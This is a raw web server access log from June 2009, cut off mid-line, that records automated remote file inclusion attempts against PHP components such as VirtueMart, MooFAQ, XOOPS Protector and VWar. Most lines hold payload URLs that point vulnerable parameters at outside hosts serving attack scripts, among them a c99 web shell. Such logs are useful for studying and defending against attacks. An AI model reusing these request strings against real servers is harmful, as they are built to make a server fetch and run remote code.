/rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 577 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" 85.17.162.28 - - [25/Jun/2009:11:43:34 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 302 831 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" 85.17.162.28 - - [25/Jun/2009:11:43:35 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 577 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" 85.17.162.28 - - [25/Jun/2009:11:43:35 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 302 831 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" 85.17.162.28 - - [25/Jun/2009:11:43:35 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 33773 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" 85.17.162.28 - - [25/Jun/2009:11:43:36 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 33773 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" 85.17.162.28 - - [25/Jun/2009:11:45:37 -0600] "GET /rfi.txt%20%20//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 302 844 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:11:45:37 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 302 830 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:11:45:38 -0600] "GET /rfi.txt%20%20//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 404 33828 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:11:45:38 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 404 33769 "-" "Mozilla/5.0" 77.221.130.17 - - [25/Jun/2009:11:48:15 -0600] "GET /rfi.txt%20%20//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://163.30.144.27/phpMyAdmin/LICENSE?? HTTP/1.1" 302 842 "-" "Mozilla/5.0" 77.221.130.17 - - [25/Jun/2009:11:48:15 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://163.30.144.27/phpMyAdmin/LICENSE?? HTTP/1.1" 302 828 "-" "Mozilla/5.0" 77.221.130.17 - - [25/Jun/2009:11:48:16 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://163.30.144.27/phpMyAdmin/LICENSE?? HTTP/1.1" 404 33755 "-" "Mozilla/5.0" 77.221.130.17 - - [25/Jun/2009:11:48:16 -0600] "GET /rfi.txt%20%20//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://163.30.144.27/phpMyAdmin/LICENSE?? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 77.221.130.17 - - [25/Jun/2009:11:54:28 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://163.30.144.27/phpMyAdmin/LICENSE?? HTTP/1.1" 404 574 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:00:47 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:00:47 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:00:48 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33539 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:03:25 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:03:25 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:03:26 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33539 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:04:36 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:04:36 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:04:37 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33539 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:18 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:18 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:19 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:20 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:19 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33538 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:10:20 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33538 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:45 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:45 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:46 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33538 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:53 -0600] "GET /rfi.txt//ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 520 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:53 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 211.172.225.50 - - [25/Jun/2009:12:16:54 -0600] "GET //ask_password.php?dir=http://shop.gaspard.de//Scripts/idxx.txt? HTTP/1.1" 404 33539 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:12:35:10 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 567 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" 85.17.162.28 - - [25/Jun/2009:12:35:10 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 302 817 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" 85.17.162.28 - - [25/Jun/2009:12:35:11 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 33732 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" 85.17.162.28 - - [25/Jun/2009:12:36:18 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:12:36:18 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 302 816 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:12:36:19 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/_a?? HTTP/1.1" 404 33729 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:12:38:47 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 567 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 85.17.162.28 - - [25/Jun/2009:12:38:47 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 302 817 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 85.17.162.28 - - [25/Jun/2009:12:38:48 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://oilshalereserves.com/cp/scripts/cfg?? HTTP/1.1" 404 33732 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 69.65.41.165 - - [25/Jun/2009:13:20:35 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 404 630 "-" "Mozilla/5.0" 69.65.41.165 - - [25/Jun/2009:13:20:35 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 302 873 "-" "Mozilla/5.0" 69.65.41.165 - - [25/Jun/2009:13:20:36 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 404 34165 "-" "Mozilla/5.0" 69.65.41.165 - - [25/Jun/2009:13:21:22 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 404 630 "-" "Mozilla/5.0" 69.65.41.165 - - [25/Jun/2009:13:21:22 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 302 873 "-" "Mozilla/5.0" 69.65.41.165 - - [25/Jun/2009:13:21:22 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://kineticwealth.com///blog/wp-content/plugins/google-ads/lolid1.txt?? HTTP/1.1" 404 34070 "-" "Mozilla/5.0" 217.65.6.12 - - [25/Jun/2009:13:31:36 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 584 "-" "libwww-perl/5.808" 217.65.6.12 - - [25/Jun/2009:13:31:36 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 302 827 "-" "libwww-perl/5.808" 217.65.6.12 - - [25/Jun/2009:13:31:37 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 34079 "-" "libwww-perl/5.808" 217.65.6.12 - - [25/Jun/2009:13:32:44 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 584 "-" "libwww-perl/5.808" 217.65.6.12 - - [25/Jun/2009:13:32:46 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 302 827 "-" "libwww-perl/5.808" 217.65.6.12 - - [25/Jun/2009:13:32:47 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 34057 "-" "libwww-perl/5.808" 208.38.188.128 - - [25/Jun/2009:13:34:03 -0600] "GET /rfi.txt/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 208.38.188.128 - - [25/Jun/2009:13:34:03 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 208.38.188.128 - - [25/Jun/2009:13:34:04 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 404 33965 "-" "Mozilla/5.0" 220.79.47.122 - - [25/Jun/2009:13:34:34 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 584 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:13:34:35 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 302 827 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:13:34:36 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 33755 "-" "libwww-perl/5.79" 208.38.188.128 - - [25/Jun/2009:13:35:09 -0600] "GET /rfi.txt/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 208.38.188.128 - - [25/Jun/2009:13:35:09 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 208.38.188.128 - - [25/Jun/2009:13:35:10 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.psb-fenster-und-tueren.de/aidie1.txt? HTTP/1.1" 404 34000 "-" "Mozilla/5.0" 213.189.2.38 - - [25/Jun/2009:14:55:31 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 404 527 "-" "Mozilla/5.0" 213.189.2.38 - - [25/Jun/2009:14:55:31 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 213.189.2.38 - - [25/Jun/2009:14:55:32 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 404 34228 "-" "Mozilla/5.0" 85.25.151.213 - - [25/Jun/2009:14:57:43 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 302 812 "-" "libwww-perl/5.805" 85.25.151.213 - - [25/Jun/2009:14:57:44 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 404 33679 "-" "libwww-perl/5.805" 220.79.47.122 - - [25/Jun/2009:15:12:09 -0600] "GET /rfi.txt/errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 502 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:15:12:09 -0600] "GET /errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 302 756 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:15:12:29 -0600] "GET /errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 33457 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:15:28:49 -0600] "GET /rfi.txt/errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 502 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:15:28:55 -0600] "GET /errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 302 756 "-" "libwww-perl/5.79" 220.79.47.122 - - [25/Jun/2009:15:28:56 -0600] "GET /errors.php?error=http://yongsin.es.kr/c2.txt? HTTP/1.1" 404 33457 "-" "libwww-perl/5.79" 189.74.48.98 - - [25/Jun/2009:15:36:47 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:15:43:52 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.93.147.154 - - [25/Jun/2009:15:54:13 -0600] "GET //skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://3dcgfx.net/3dcgfx//modules/Forums/admin/test.txt?? HTTP/1.1" 302 844 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" 200.93.147.154 - - [25/Jun/2009:15:54:14 -0600] "GET //skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://3dcgfx.net/3dcgfx//modules/Forums/admin/test.txt?? HTTP/1.1" 404 33843 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" 189.74.48.98 - - [25/Jun/2009:15:54:59 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 91.121.137.51 - - [25/Jun/2009:16:01:46 -0600] "GET /rfi.txt//view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 404 521 "-" "libwww-perl/5.805" 91.121.137.51 - - [25/Jun/2009:16:01:46 -0600] "GET //view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 91.121.137.51 - - [25/Jun/2009:16:01:47 -0600] "GET //view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 404 33554 "-" "libwww-perl/5.805" 91.121.137.51 - - [25/Jun/2009:16:02:56 -0600] "GET /rfi.txt//view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 404 521 "-" "libwww-perl/5.805" 91.121.137.51 - - [25/Jun/2009:16:02:56 -0600] "GET //view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 91.121.137.51 - - [25/Jun/2009:16:02:57 -0600] "GET //view.php?site_path=http://sunandsea.co.kr/upload/ManieZ.jpg???? HTTP/1.1" 404 33555 "-" "libwww-perl/5.805" 189.74.48.98 - - [25/Jun/2009:16:03:20 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:16:09:30 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 87.230.22.39 - - [25/Jun/2009:16:12:47 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.aeronautica.gob.pa/modules/MambWeather/Savant2/Folder_Baru/background.gif???? HTTP/1.1" 404 621 "-" "libwww-perl/5.803" 87.230.22.39 - - [25/Jun/2009:16:12:47 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.aeronautica.gob.pa/modules/MambWeather/Savant2/Folder_Baru/background.gif???? HTTP/1.1" 302 875 "-" "libwww-perl/5.803" 87.230.22.39 - - [25/Jun/2009:16:12:48 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.aeronautica.gob.pa/modules/MambWeather/Savant2/Folder_Baru/background.gif???? HTTP/1.1" 404 33973 "-" "libwww-perl/5.803" 189.74.48.98 - - [25/Jun/2009:16:15:36 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 738 "-" "Mozilla/3.0 (compatible; Indy Library)" 69.10.159.229 - - [25/Jun/2009:16:15:57 -0600] "GET /rfi.txt//errors.php?error=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 510 "-" "Mozilla/5.0" 69.10.159.229 - - [25/Jun/2009:16:15:57 -0600] "GET //errors.php?error=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 764 "-" "Mozilla/5.0" 69.10.159.229 - - [25/Jun/2009:16:15:58 -0600] "GET //errors.php?error=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33564 "-" "Mozilla/5.0" 189.74.48.98 - - [25/Jun/2009:16:18:29 -0600] "GET //index.php?section=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 725 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:16:18:29 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 723 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:16:18:30 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 727 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:16:19:50 -0600] "GET //?mosConfig_absolute_path=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 741 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.175.202.106 - - [25/Jun/2009:16:34:00 -0600] "GET /index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 731 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:02 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 108972 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:05 -0600] "GET /index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 731 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:06 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 109053 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:19 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 785 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:19 -0600] "GET /2009/06/04/index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 762 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:20 -0600] "GET /2009/06/04/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 36206 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:20 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 46883 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:23 -0600] "GET /2009/06/04/index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 762 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:23 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 785 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:24 -0600] "GET /2009/06/04/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 36206 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:34:24 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 46882 "-" "libwww-perl/5.805" 91.191.20.168 - - [25/Jun/2009:16:34:51 -0600] "GET /index.php?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 302 767 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729)" 91.191.20.168 - - [25/Jun/2009:16:34:52 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 109609 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729)" 66.249.68.34 - - [25/Jun/2009:16:35:21 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 15928 "-" "Mediapartners-Google" 66.249.68.34 - - [25/Jun/2009:16:35:22 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 110321 "-" "Mediapartners-Google" 79.126.177.24 - - [25/Jun/2009:16:39:13 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 302 821 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 79.126.177.24 - - [25/Jun/2009:16:39:13 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 46844 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 66.249.68.34 - - [25/Jun/2009:16:39:19 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 47403 "-" "Mediapartners-Google" 217.65.6.12 - - [25/Jun/2009:16:41:17 -0600] "GET /rfi.txt/?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 404 502 "-" "Mozilla/5.0" 217.65.6.12 - - [25/Jun/2009:16:41:17 -0600] "GET /?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 302 736 "-" "Mozilla/5.0" 217.65.6.12 - - [25/Jun/2009:16:41:19 -0600] "GET /?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 200 109573 "-" "Mozilla/5.0" 79.126.177.24 - - [25/Jun/2009:16:41:31 -0600] "GET /index.php?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 302 703 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 79.126.177.24 - - [25/Jun/2009:16:41:32 -0600] "GET /?sayfa=http://w7ed.by.ru/c99.txt??? HTTP/1.1" 200 108932 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; 